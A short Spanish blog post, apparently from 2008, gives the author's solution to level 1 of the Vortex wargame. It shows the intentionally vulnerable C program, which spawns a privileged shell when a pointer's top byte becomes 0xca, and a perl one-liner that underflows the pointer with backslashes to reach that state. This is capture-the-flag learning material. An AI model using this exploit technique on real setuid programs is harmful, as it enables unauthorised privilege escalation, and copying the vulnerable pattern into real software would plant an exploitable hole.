Escrito por coder el 05 de febrero de 2008 en Informática | Hits: 572
El otro día publiqué una solución válida al nivel 0 de Pull The Plug / Over the Wire, ese fascinante reto llamado Vortex que me tiene atrapado por su moda últimamente. Hoy publico la solución, nuevamente recalco, la mía, pues puede haber otras, al segundo -o primer- nivel: level1.
El código a explotar es el siguiente:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { \
setresuid(geteuid(), geteuid(), geteuid());\
execlp("/bin/sh", "sh", "-i", NULL); \
}
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
Bien, parece claro que hay que conseguir ejecutar la función e(), pero claro, ¿cómo lo hacemos si ptr apunta a mitad del buffer? Colocando algo 'especial' que permita pasar el condicional... piensen un poco:
level1@vortex /tmp $ perl -e 'print "\\" x 257 . "\xca"'
¿Lo han cogido?. Wikipedia EOF ;_)
« Evolución salarial en estos cuatro años laborales
Pull the Plug: level 2 »